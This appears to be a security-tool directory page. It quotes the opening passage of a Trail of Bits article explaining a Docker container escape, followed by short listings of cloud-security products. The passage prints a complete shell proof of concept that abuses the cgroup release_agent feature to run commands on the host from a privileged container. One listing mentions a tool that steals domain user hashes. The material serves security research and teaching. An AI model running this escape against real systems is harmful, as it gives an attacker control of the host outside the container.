Understanding Docker container escapes
Trail of Bits recently completed a security assessment of Kubernetes, including its interaction with Docker. Felix Wilhelm’s recent tweet of a Proof of Concept (PoC) “container escape” sparked our interest, since we performed similar research and were curious how this PoC could impact Kubernetes. Felix’s tweet shows an exploit that launches a process on the host from within a Docker container run with the --privileged flag. The PoC achieves this by abusing the Linux cgroup v1 “notification on release” feature. Here’s a version of the PoC that launches ps on the host: # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh ps >'"$t/o" >/c; chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and
FEATURES
ALTERNATIVES
Cloud security platform that provides configuration monitoring, compliance management, and security analysis across multi-cloud environments.
Implements a cloud version of the Shadow Copy attack against domain controllers in AWS, allowing theft of domain user hashes.
Cloud Custodian (c7n) is a rules engine for managing public cloud accounts and resources with a focus on security, compliance, and cost optimization.
A cloud security platform that combines Kubernetes security scanning, runtime monitoring, and cloud security posture management using Kubescape and eBPF technology.
LogRhythm SIEM is a comprehensive security information and event management platform that collects, analyzes, and responds to security events across an organization's IT infrastructure.
A cloud and database asset intelligence platform that provides continuous monitoring, compliance management, and security posture assessment across hybrid cloud environments.
Open-source policy-as-code software for multi-cloud and SaaS environments with GPT model conversations and custom analysis policies.
Cloudmarker is a cloud monitoring tool and framework that audits Azure and GCP cloud environments.
PINNED
Mandos Brief Newsletter
A weekly newsletter providing cybersecurity leadership insights, industry updates, and strategic guidance for security professionals advancing to management positions.
OSINTLeak
OSINTLeak is a tool for discovering and analyzing leaked sensitive information across various online sources to identify potential security risks.
ImmuniWeb® Discovery
ImmuniWeb Discovery is an attack surface management platform that continuously monitors an organization's external digital assets for security vulnerabilities, misconfigurations, and threats across domains, applications, cloud resources, and the dark web.
Checkmarx SCA
A software composition analysis tool that identifies vulnerabilities, malicious code, and license risks in open source dependencies throughout the software development lifecycle.
Orca Security
A cloud-native application protection platform that provides agentless security monitoring, vulnerability management, and compliance capabilities across multi-cloud environments.
DryRun
A GitHub application that performs automated security code reviews by analyzing contextual security aspects of code changes during pull requests.